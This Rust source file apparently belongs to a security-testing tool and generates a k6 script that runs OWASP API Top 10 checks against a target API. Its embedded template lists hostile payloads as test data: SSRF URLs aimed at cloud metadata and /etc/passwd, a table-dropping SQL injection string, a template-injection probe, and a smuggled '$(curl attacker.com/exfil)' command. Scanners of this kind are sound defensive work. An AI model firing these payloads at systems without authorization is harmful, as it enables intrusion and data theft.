Skip to main content

mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14
15/// Generator for OWASP API security test scripts
16pub struct OwaspApiGenerator {
17    /// OWASP API configuration
18    config: OwaspApiConfig,
19    /// Target base URL
20    target_url: String,
21    /// Parsed OpenAPI operations
22    operations: Vec<OperationInfo>,
23}
24
25/// Information about an API operation
26#[derive(Debug, Clone)]
27pub struct OperationInfo {
28    /// HTTP method
29    pub method: String,
30    /// Path template (e.g., /users/{id})
31    pub path: String,
32    /// Operation ID
33    pub operation_id: Option<String>,
34    /// Path parameters
35    pub path_params: Vec<PathParam>,
36    /// Query parameters
37    pub query_params: Vec<QueryParam>,
38    /// Whether operation has request body
39    pub has_body: bool,
40    /// Content type
41    pub content_type: Option<String>,
42    /// Security requirements (if any)
43    pub requires_auth: bool,
44    /// Tags
45    pub tags: Vec<String>,
46}
47
48/// Path parameter info
49#[derive(Debug, Clone)]
50pub struct PathParam {
51    pub name: String,
52    pub param_type: String,
53    pub example: Option<String>,
54}
55
56/// Query parameter info
57#[derive(Debug, Clone)]
58pub struct QueryParam {
59    pub name: String,
60    pub param_type: String,
61    pub required: bool,
62}
63
64impl OwaspApiGenerator {
65    /// Create a new OWASP API generator
66    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67        let operations = Self::extract_operations(parser);
68        Self {
69            config,
70            target_url,
71            operations,
72        }
73    }
74
75    /// Extract operations from the spec parser
76    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77        parser
78            .get_operations()
79            .into_iter()
80            .map(|op| {
81                // Extract path parameters from the path
82                let path_params: Vec<PathParam> = op
83                    .path
84                    .split('/')
85                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86                    .map(|segment| {
87                        let name = segment.trim_start_matches('{').trim_end_matches('}');
88                        PathParam {
89                            name: name.to_string(),
90                            param_type: "string".to_string(),
91                            example: None,
92                        }
93                    })
94                    .collect();
95
96                OperationInfo {
97                    method: op.method.to_uppercase(),
98                    path: op.path.clone(),
99                    operation_id: op.operation_id.clone(),
100                    path_params,
101                    query_params: Vec::new(),
102                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103                    content_type: Some("application/json".to_string()),
104                    requires_auth: true, // Assume auth required by default
105                    tags: op.operation.tags.clone(),
106                }
107            })
108            .collect()
109    }
110
111    /// Generate the complete k6 security test script
112    pub fn generate(&self) -> Result<String> {
113        let mut handlebars = Handlebars::new();
114
115        // Register custom helpers
116        handlebars.register_helper("contains", Box::new(contains_helper));
117        handlebars.register_helper("eq", Box::new(eq_helper));
118
119        let template = self.get_script_template();
120        let data = self.build_template_data()?;
121
122        handlebars
123            .render_template(&template, &data)
124            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125    }
126
127    /// Build template data for rendering
128    fn build_template_data(&self) -> Result<Value> {
129        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130        let mut test_cases: Vec<Value> = Vec::new();
131
132        // Generate test cases for each category
133        for category in self.config.categories_to_test() {
134            let category_tests = self.generate_category_tests(category, &payload_generator)?;
135            test_cases.extend(category_tests);
136        }
137
138        // Pre-compute which categories are enabled for simple template conditionals
139        let categories = self.config.categories_to_test();
140        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142        let test_api3 =
143            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144        let test_api4 =
145            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146        let test_api5 =
147            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151        let test_api9 =
152            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153        let test_api10 =
154            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156        // Helper to prepend base_path to API paths
157        let base_path = self.config.base_path.clone().unwrap_or_default();
158        let build_path = |path: &str| -> String {
159            let joined = if base_path.is_empty() {
160                path.to_string()
161            } else {
162                format!("{}{}", base_path.trim_end_matches('/'), path)
163            };
164            // Appended to BASE_URL: anything not starting with '/' would
165            // become part of the URL authority.
166            if joined.starts_with('/') {
167                joined
168            } else {
169                format!("/{joined}")
170            }
171        };
172
173        // Pre-compute operations with path parameters for BOLA testing
174        let ops_with_path_params: Vec<Value> = self
175            .operations
176            .iter()
177            .filter(|op| op.path.contains('{'))
178            .map(|op| {
179                json!({
180                    "method": op.method.to_lowercase(),
181                    "path": build_path(&op.path),
182                })
183            })
184            .collect();
185
186        // Pre-compute GET operations for method override testing
187        let get_operations: Vec<Value> = self
188            .operations
189            .iter()
190            .filter(|op| op.method.to_lowercase() == "get")
191            .map(|op| {
192                json!({
193                    "method": op.method.to_lowercase(),
194                    "path": build_path(&op.path),
195                })
196            })
197            .collect();
198
199        // Escape auth header and token values for safe use in JavaScript strings
200        let auth_header_name = escape_js_string(&self.config.auth_header);
201        let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
202
203        Ok(json!({
204            "base_url": self.target_url,
205            "auth_header_name": auth_header_name,
206            "valid_auth_token": valid_auth_token,
207            "concurrency": self.config.concurrency,
208            "iterations": self.config.iterations,
209            "timeout_ms": self.config.timeout_ms,
210            "report_path": self.config.report_path.to_string_lossy(),
211            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
212            "test_cases": test_cases,
213            "operations": self.operations.iter().map(|op| json!({
214                "method": op.method.to_lowercase(),
215                "path": build_path(&op.path),
216                "operation_id": op.operation_id,
217                "has_body": op.has_body,
218                "requires_auth": op.requires_auth,
219                "has_path_params": op.path.contains('{'),
220            })).collect::<Vec<_>>(),
221            "ops_with_path_params": ops_with_path_params,
222            "get_operations": get_operations,
223            "verbose": self.config.verbose,
224            "insecure": self.config.insecure,
225            // Custom headers from CLI (e.g., Cookie, X-Custom-Header)
226            "custom_headers": self.config.custom_headers.iter()
227                .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
228                .collect::<Vec<_>>(),
229            "has_custom_headers": !self.config.custom_headers.is_empty(),
230            // Category flags for simple conditionals
231            "test_api1": test_api1,
232            "test_api2": test_api2,
233            "test_api3": test_api3,
234            "test_api4": test_api4,
235            "test_api5": test_api5,
236            "test_api6": test_api6,
237            "test_api7": test_api7,
238            "test_api8": test_api8,
239            "test_api9": test_api9,
240            "test_api10": test_api10,
241        }))
242    }
243
244    /// Generate test cases for a specific category
245    fn generate_category_tests(
246        &self,
247        category: OwaspCategory,
248        payload_generator: &OwaspPayloadGenerator,
249    ) -> Result<Vec<Value>> {
250        let payloads = payload_generator.generate_for_category(category);
251        let mut tests = Vec::new();
252
253        for payload in payloads {
254            // Match payloads to appropriate operations
255            let applicable_ops = self.get_applicable_operations(&payload);
256
257            for op in applicable_ops {
258                tests.push(json!({
259                    "category": category.cli_name(),
260                    "category_name": category.short_name(),
261                    "description": payload.description,
262                    "method": op.method.to_lowercase(),
263                    "path": op.path,
264                    "payload": payload.value,
265                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
266                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
267                    "notes": payload.notes,
268                }));
269            }
270        }
271
272        Ok(tests)
273    }
274
275    /// Get operations applicable for a payload
276    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
277        match payload.injection_point {
278            InjectionPoint::PathParam => {
279                // Only operations with path parameters
280                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
281            }
282            InjectionPoint::Body => {
283                // Only operations that accept a body
284                self.operations.iter().filter(|op| op.has_body).collect()
285            }
286            InjectionPoint::Header | InjectionPoint::Omit => {
287                // All operations that require auth
288                self.operations.iter().filter(|op| op.requires_auth).collect()
289            }
290            InjectionPoint::QueryParam => {
291                // All operations (can add query params to any)
292                self.operations.iter().collect()
293            }
294            InjectionPoint::Modify => {
295                // Depends on payload - return all for now
296                self.operations.iter().collect()
297            }
298        }
299    }
300
301    /// Get the k6 script template
302    fn get_script_template(&self) -> String {
303        r#"// OWASP API Security Top 10 Test Script
304// Generated by MockForge - https://mockforge.dev
305// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
306
307import http from 'k6/http';
308import { check, sleep, group } from 'k6';
309import { Trend, Counter, Rate } from 'k6/metrics';
310
311// Configuration
312const BASE_URL = '{{{base_url}}}';
313const AUTH_HEADER = '{{{auth_header_name}}}';
314{{#if valid_auth_token}}
315const VALID_TOKEN = '{{{valid_auth_token}}}';
316{{else}}
317const VALID_TOKEN = null;
318{{/if}}
319const TIMEOUT = '{{timeout_ms}}ms';
320const VERBOSE = {{verbose}};
321const INSECURE = {{insecure}};
322
323// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
324const CUSTOM_HEADERS = {
325{{#each custom_headers}}
326    '{{{name}}}': '{{{value}}}',
327{{/each}}
328};
329
330// Custom metrics
331const findingsCounter = new Counter('owasp_findings');
332const testsRun = new Counter('owasp_tests_run');
333const vulnerableRate = new Rate('owasp_vulnerable_rate');
334const responseTime = new Trend('owasp_response_time');
335
336// Test options - use per-VU iterations scenario for controlled test runs
337export const options = {
338    scenarios: {
339        owasp_security_test: {
340            executor: 'per-vu-iterations',
341            vus: {{concurrency}},
342            iterations: {{iterations}},  // Iterations per VU
343            maxDuration: '30m',
344        },
345    },
346    thresholds: {
347        'owasp_findings': ['count<100'], // Alert if too many findings
348    },
349    insecureSkipTLSVerify: INSECURE,
350};
351
352// Findings storage
353const findings = [];
354
355// Helper: Log a finding
356function logFinding(category, endpoint, method, description, evidence) {
357    const finding = {
358        category,
359        endpoint,
360        method,
361        description,
362        evidence,
363        timestamp: new Date().toISOString(),
364    };
365    findings.push(finding);
366    findingsCounter.add(1);
367    vulnerableRate.add(1);
368
369    if (VERBOSE) {
370        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
371    }
372}
373
374// Helper: Log test passed
375function logPass(category, endpoint, method) {
376    vulnerableRate.add(0);
377    if (VERBOSE) {
378        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
379    }
380}
381
382// Helper: Generate a random UUID for path parameters
383// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
384function generateRandomId() {
385    return crypto.randomUUID();
386}
387
388// Helper: Replace path parameters with random UUIDs
389// Replaces all {param} patterns with new random UUIDs
390function replacePathParams(path) {
391    return path.replace(/{[^}]+}/g, () => generateRandomId());
392}
393
394// Helper: Make authenticated request
395function authRequest(method, url, body, additionalHeaders = {}) {
396    const headers = {
397        'Content-Type': 'application/json',
398        ...CUSTOM_HEADERS,
399        ...additionalHeaders,
400    };
401
402    if (VALID_TOKEN) {
403        headers[AUTH_HEADER] = VALID_TOKEN;
404    }
405
406    const params = {
407        headers,
408        timeout: TIMEOUT,
409        jar: new http.CookieJar(),
410    };
411
412    // k6 uses 'del' instead of 'delete'
413    const httpMethod = method === 'delete' ? 'del' : method;
414
415    if (httpMethod === 'get' || httpMethod === 'head') {
416        return http[httpMethod](url, params);
417    } else {
418        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
419    }
420}
421
422// Helper: Make unauthenticated request
423function unauthRequest(method, url, body, additionalHeaders = {}) {
424    const headers = {
425        'Content-Type': 'application/json',
426        ...CUSTOM_HEADERS,
427        ...additionalHeaders,
428    };
429
430    const params = {
431        headers,
432        timeout: TIMEOUT,
433        jar: new http.CookieJar(),
434    };
435
436    // k6 uses 'del' instead of 'delete'
437    const httpMethod = method === 'delete' ? 'del' : method;
438
439    if (httpMethod === 'get' || httpMethod === 'head') {
440        return http[httpMethod](url, params);
441    } else {
442        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
443    }
444}
445
446// API1: Broken Object Level Authorization (BOLA)
447function testBola() {
448    group('API1 - BOLA', function() {
449        console.log('[API1] Testing Broken Object Level Authorization...');
450
451        {{#each operations}}
452        {{#if has_path_params}}
453        // Test {{path}}
454        {
455            // Generate different random UUIDs for each test
456            const originalId = generateRandomId();
457            const targetId = generateRandomId();
458            const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
459            const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
460
461            if (VERBOSE) {
462                console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
463            }
464
465            // Get baseline with first random ID
466            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
467
468            // Try to access different random ID (simulating another user's resource)
469            const response = authRequest('{{method}}', BASE_URL + targetPath, null);
470            testsRun.add(1);
471            responseTime.add(response.timings.duration);
472
473            if (response.status >= 200 && response.status < 300) {
474                // Check if we got different data (potential BOLA vulnerability)
475                if (response.body !== baseline.body && response.body.length > 0) {
476                    logFinding('api1', '{{path}}', '{{method}}',
477                        'ID manipulation accepted - accessed different resource',
478                        { status: response.status, originalId, targetId, bodyLength: response.body.length });
479                } else {
480                    logPass('api1', '{{path}}', '{{method}}');
481                }
482            } else {
483                logPass('api1', '{{path}}', '{{method}}');
484            }
485        }
486        {{/if}}
487        {{/each}}
488    });
489}
490
491// API2: Broken Authentication
492function testBrokenAuth() {
493    group('API2 - Broken Authentication', function() {
494        console.log('[API2] Testing Broken Authentication...');
495
496        {{#each operations}}
497        {{#if requires_auth}}
498        // Test {{path}} without auth
499        {
500            const testPath = replacePathParams('{{path}}');
501            const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
502            testsRun.add(1);
503            responseTime.add(response.timings.duration);
504
505            if (response.status >= 200 && response.status < 300) {
506                logFinding('api2', '{{path}}', '{{method}}',
507                    'Endpoint accessible without authentication',
508                    { status: response.status });
509            } else {
510                logPass('api2', '{{path}}', '{{method}}');
511            }
512        }
513
514        // Test {{path}} with empty token
515        {
516            const testPath = replacePathParams('{{path}}');
517            const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
518            const makeEmptyTokenRequest = (m, url, body, params) => {
519                if (m === 'get' || m === 'head') return http[m](url, params);
520                return http[m](url, body, params);
521            };
522            const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
523                headers: { [AUTH_HEADER]: 'Bearer ' },
524                timeout: TIMEOUT,
525                jar: new http.CookieJar(),
526            });
527            testsRun.add(1);
528
529            if (response.status >= 200 && response.status < 300) {
530                logFinding('api2', '{{path}}', '{{method}}',
531                    'Endpoint accessible with empty Bearer token',
532                    { status: response.status });
533            }
534        }
535        {{/if}}
536        {{/each}}
537    });
538}
539
540// API3: Broken Object Property Level Authorization (Mass Assignment)
541function testMassAssignment() {
542    group('API3 - Mass Assignment', function() {
543        console.log('[API3] Testing Mass Assignment...');
544
545        const massAssignmentPayloads = [
546            { role: 'admin' },
547            { is_admin: true },
548            { isAdmin: true },
549            { permissions: ['admin', 'write', 'delete'] },
550            { verified: true },
551            { email_verified: true },
552            { balance: 999999 },
553        ];
554
555        {{#each operations}}
556        {{#if has_body}}
557        // Test {{path}}
558        {
559            const testPath = replacePathParams('{{path}}');
560            massAssignmentPayloads.forEach(payload => {
561                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
562                testsRun.add(1);
563                responseTime.add(response.timings.duration);
564
565                if (response.status >= 200 && response.status < 300) {
566                    // Check if unauthorized field appears in response
567                    const responseBody = response.body.toLowerCase();
568                    const payloadKey = Object.keys(payload)[0].toLowerCase();
569
570                    if (responseBody.includes(payloadKey)) {
571                        logFinding('api3', '{{path}}', '{{method}}',
572                            `Mass assignment accepted: ${payloadKey}`,
573                            { status: response.status, payload });
574                    } else {
575                        logPass('api3', '{{path}}', '{{method}}');
576                    }
577                }
578            });
579        }
580        {{/if}}
581        {{/each}}
582    });
583}
584
585// API4: Unrestricted Resource Consumption
586function testResourceConsumption() {
587    group('API4 - Resource Consumption', function() {
588        console.log('[API4] Testing Resource Consumption...');
589
590        {{#each operations}}
591        // Test {{path}} with excessive limit
592        {
593            const testPath = replacePathParams('{{path}}');
594            const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
595            const response = authRequest('{{method}}', url, null);
596            testsRun.add(1);
597            responseTime.add(response.timings.duration);
598
599            // Check for rate limit headers
600            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
601                                response.headers['x-ratelimit-limit'] ||
602                                response.headers['RateLimit-Limit'];
603
604            if (response.status === 429) {
605                logPass('api4', '{{path}}', '{{method}}');
606            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
607                logFinding('api4', '{{path}}', '{{method}}',
608                    'No rate limiting detected',
609                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
610            } else {
611                logPass('api4', '{{path}}', '{{method}}');
612            }
613        }
614        {{/each}}
615    });
616}
617
618// API5: Broken Function Level Authorization
619function testFunctionAuth() {
620    group('API5 - Function Authorization', function() {
621        console.log('[API5] Testing Function Level Authorization...');
622
623        const adminPaths = [
624            '/admin',
625            '/admin/users',
626            '/admin/settings',
627            '/api/admin',
628            '/internal',
629            '/management',
630        ];
631
632        adminPaths.forEach(path => {
633            const response = authRequest('get', BASE_URL + path, null);
634            testsRun.add(1);
635            responseTime.add(response.timings.duration);
636
637            if (response.status >= 200 && response.status < 300) {
638                logFinding('api5', path, 'GET',
639                    'Admin endpoint accessible',
640                    { status: response.status });
641            } else if (response.status === 403 || response.status === 401) {
642                logPass('api5', path, 'GET');
643            }
644        });
645
646        // Also test changing methods on read-only endpoints
647        {{#each get_operations}}
648        {
649            const testPath = replacePathParams('{{path}}');
650            const response = authRequest('delete', BASE_URL + testPath, null);
651            testsRun.add(1);
652
653            if (response.status >= 200 && response.status < 300) {
654                logFinding('api5', '{{path}}', 'DELETE',
655                    'DELETE method allowed on read-only endpoint',
656                    { status: response.status });
657            }
658        }
659        {{/each}}
660    });
661}
662
663// API7: Server Side Request Forgery (SSRF)
664function testSsrf() {
665    group('API7 - SSRF', function() {
666        console.log('[API7] Testing Server Side Request Forgery...');
667
668        const ssrfPayloads = [
669            'http://localhost/',
670            'http://127.0.0.1/',
671            'http://169.254.169.254/latest/meta-data/',
672            'http://[::1]/',
673            'file:///etc/passwd',
674        ];
675
676        {{#each operations}}
677        {{#if has_body}}
678        // Test {{path}} with SSRF payloads
679        {
680            const testPath = replacePathParams('{{path}}');
681            ssrfPayloads.forEach(payload => {
682                const body = {
683                    url: payload,
684                    webhook_url: payload,
685                    callback: payload,
686                    image_url: payload,
687                };
688
689                const response = authRequest('{{method}}', BASE_URL + testPath, body);
690                testsRun.add(1);
691                responseTime.add(response.timings.duration);
692
693                if (response.status >= 200 && response.status < 300) {
694                    // Check for indicators of internal access
695                    const bodyLower = response.body.toLowerCase();
696                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
697
698                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
699                        logFinding('api7', '{{path}}', '{{method}}',
700                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
701                            { status: response.status, payload });
702                    }
703                }
704            });
705        }
706        {{/if}}
707        {{/each}}
708    });
709}
710
711// API8: Security Misconfiguration
712function testMisconfiguration() {
713    group('API8 - Security Misconfiguration', function() {
714        console.log('[API8] Testing Security Misconfiguration...');
715
716        {{#each operations}}
717        // Test {{path}} for security headers
718        {
719            const testPath = replacePathParams('{{path}}');
720            const response = authRequest('{{method}}', BASE_URL + testPath, null);
721            testsRun.add(1);
722            responseTime.add(response.timings.duration);
723
724            const missingHeaders = [];
725
726            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
727                missingHeaders.push('X-Content-Type-Options');
728            }
729            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
730                missingHeaders.push('X-Frame-Options');
731            }
732            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
733                missingHeaders.push('Strict-Transport-Security');
734            }
735
736            // Check for overly permissive CORS
737            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
738            if (acao === '*') {
739                logFinding('api8', '{{path}}', '{{method}}',
740                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
741                    { status: response.status });
742            }
743
744            if (missingHeaders.length > 0) {
745                logFinding('api8', '{{path}}', '{{method}}',
746                    `Missing security headers: ${missingHeaders.join(', ')}`,
747                    { status: response.status, missingHeaders });
748            }
749        }
750        {{/each}}
751
752        // Test for verbose errors
753        {{#each operations}}
754        {{#if has_body}}
755        {
756            const testPath = replacePathParams('{{path}}');
757            const malformedBody = '{"invalid": "json';
758            const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
759                headers: { 'Content-Type': 'application/json', ...CUSTOM_HEADERS },
760                timeout: TIMEOUT,
761                jar: new http.CookieJar(),
762            });
763            testsRun.add(1);
764
765            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
766            const bodyLower = response.body.toLowerCase();
767
768            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
769                logFinding('api8', '{{path}}', '{{method}}',
770                    'Verbose error messages exposed',
771                    { status: response.status });
772            }
773        }
774        {{/if}}
775        {{/each}}
776    });
777}
778
779// API9: Improper Inventory Management
780function testInventory() {
781    group('API9 - Inventory Management', function() {
782        console.log('[API9] Testing Improper Inventory Management...');
783
784        const discoveryPaths = [
785            '/swagger',
786            '/swagger-ui',
787            '/swagger.json',
788            '/api-docs',
789            '/openapi',
790            '/openapi.json',
791            '/graphql',
792            '/graphiql',
793            '/debug',
794            '/actuator',
795            '/actuator/health',
796            '/actuator/env',
797            '/metrics',
798            '/.env',
799            '/config',
800        ];
801
802        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
803
804        discoveryPaths.forEach(path => {
805            const response = http.get(BASE_URL + path, { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: new http.CookieJar() });
806            testsRun.add(1);
807            responseTime.add(response.timings.duration);
808
809            if (response.status !== 404) {
810                logFinding('api9', path, 'GET',
811                    `Undocumented endpoint discovered (HTTP ${response.status})`,
812                    { status: response.status });
813            }
814        });
815
816        // Check for old API versions
817        apiVersions.forEach(version => {
818            const response = http.get(BASE_URL + '/' + version + '/', { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: new http.CookieJar() });
819            testsRun.add(1);
820
821            if (response.status !== 404) {
822                logFinding('api9', '/' + version + '/', 'GET',
823                    `API version endpoint exists (HTTP ${response.status})`,
824                    { status: response.status });
825            }
826        });
827    });
828}
829
830// API10: Unsafe Consumption of APIs
831function testUnsafeConsumption() {
832    group('API10 - Unsafe Consumption', function() {
833        console.log('[API10] Testing Unsafe Consumption...');
834
835        const injectionPayloads = [
836            { external_id: "'; DROP TABLE users;--" },
837            { integration_data: "$(curl attacker.com/exfil)" },
838            { template: "\{{7*7}}" },
839            { webhook_url: "http://127.0.0.1:8080/internal" },
840        ];
841
842        {{#each operations}}
843        {{#if has_body}}
844        // Test {{path}} with injection payloads
845        {
846            const testPath = replacePathParams('{{path}}');
847            injectionPayloads.forEach(payload => {
848                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
849                testsRun.add(1);
850                responseTime.add(response.timings.duration);
851
852                // Check if payload was processed (e.g., SSTI returning 49)
853                if (response.body.includes('49')) {
854                    logFinding('api10', '{{path}}', '{{method}}',
855                        'Server-side template injection detected',
856                        { status: response.status, payload });
857                }
858            });
859        }
860        {{/if}}
861        {{/each}}
862    });
863}
864
865// Main test function
866export default function() {
867    console.log('Starting OWASP API Top 10 Security Scan...');
868    console.log('Target: ' + BASE_URL);
869    console.log('');
870
871    {{#if test_api1}}
872    testBola();
873    {{/if}}
874    {{#if test_api2}}
875    testBrokenAuth();
876    {{/if}}
877    {{#if test_api3}}
878    testMassAssignment();
879    {{/if}}
880    {{#if test_api4}}
881    testResourceConsumption();
882    {{/if}}
883    {{#if test_api5}}
884    testFunctionAuth();
885    {{/if}}
886    {{#if test_api7}}
887    testSsrf();
888    {{/if}}
889    {{#if test_api8}}
890    testMisconfiguration();
891    {{/if}}
892    {{#if test_api9}}
893    testInventory();
894    {{/if}}
895    {{#if test_api10}}
896    testUnsafeConsumption();
897    {{/if}}
898
899    sleep(0.1);
900}
901
902// Teardown: Output results
903export function teardown(data) {
904    console.log('');
905    console.log('='.repeat(50));
906    console.log('OWASP API Top 10 Scan Complete');
907    console.log('='.repeat(50));
908    console.log('Total findings: ' + findings.length);
909
910    if (findings.length > 0) {
911        console.log('');
912        console.log('Findings by category:');
913        const byCategory = {};
914        findings.forEach(f => {
915            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
916        });
917        Object.entries(byCategory).forEach(([cat, count]) => {
918            console.log('  ' + cat + ': ' + count);
919        });
920    }
921
922    // Write JSON report
923    console.log('');
924    console.log('Report written to: {{report_path}}');
925}
926"#.to_string()
927    }
928}
929
930/// Handlebars helper to check if a string contains a substring
931fn contains_helper(
932    h: &handlebars::Helper,
933    _: &Handlebars,
934    _: &handlebars::Context,
935    _: &mut handlebars::RenderContext,
936    out: &mut dyn handlebars::Output,
937) -> handlebars::HelperResult {
938    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
939    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
940    let result = param1.contains(param2);
941    out.write(&result.to_string())?;
942    Ok(())
943}
944
945/// Handlebars helper to check equality
946fn eq_helper(
947    h: &handlebars::Helper,
948    _: &Handlebars,
949    _: &handlebars::Context,
950    _: &mut handlebars::RenderContext,
951    out: &mut dyn handlebars::Output,
952) -> handlebars::HelperResult {
953    let param1 = h.param(0).map(|v| v.value());
954    let param2 = h.param(1).map(|v| v.value());
955    let result = param1 == param2;
956    out.write(&result.to_string())?;
957    Ok(())
958}
959
960#[cfg(test)]
961mod tests {
962    use super::*;
963
964    #[test]
965    fn test_generator_creation() {
966        // This would need a mock SpecParser
967        // For now just test that the template is valid
968        let template = r#"
969        {{#each operations}}
970        // {{method}} {{path}}
971        {{/each}}
972        "#;
973
974        let handlebars = Handlebars::new();
975        let data = json!({
976            "operations": [
977                { "method": "GET", "path": "/users" },
978                { "method": "POST", "path": "/users" },
979            ]
980        });
981
982        let result = handlebars.render_template(template, &data);
983        assert!(result.is_ok());
984    }
985
986    #[test]
987    fn test_script_template_renders() {
988        let config = OwaspApiConfig::default()
989            .with_categories([OwaspCategory::Api1Bola])
990            .with_valid_auth_token("Bearer test123");
991
992        let template = r#"
993const AUTH = '{{auth_header_name}}';
994const TOKEN = '{{valid_auth_token}}';
995{{#each categories_tested}}
996// Testing: {{this}}
997{{/each}}
998        "#;
999
1000        let handlebars = Handlebars::new();
1001        let data = json!({
1002            "auth_header_name": config.auth_header,
1003            "valid_auth_token": config.valid_auth_token,
1004            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
1005        });
1006
1007        let result = handlebars.render_template(template, &data).unwrap();
1008        assert!(result.contains("Authorization"));
1009        assert!(result.contains("Bearer test123"));
1010        assert!(result.contains("api1"));
1011    }
1012
1013    #[test]
1014    fn test_owasp_uses_per_request_cookie_jar() {
1015        // Test that the OWASP template creates a fresh CookieJar per request
1016        // A shared jar accumulates Set-Cookie responses, causing duplication
1017        let template = r#"
1018function authRequest(method, url) {
1019    const params = { jar: new http.CookieJar() };
1020}
1021"#;
1022        let handlebars = Handlebars::new();
1023        let data = json!({});
1024        let result = handlebars.render_template(template, &data).unwrap();
1025        assert!(
1026            result.contains("new http.CookieJar()"),
1027            "Should create fresh CookieJar per request"
1028        );
1029        assert!(!result.contains("jar: null"), "Should NOT use jar: null");
1030        assert!(
1031            !result.contains("EMPTY_JAR"),
1032            "Should NOT use shared EMPTY_JAR (accumulates Set-Cookie responses)"
1033        );
1034    }
1035}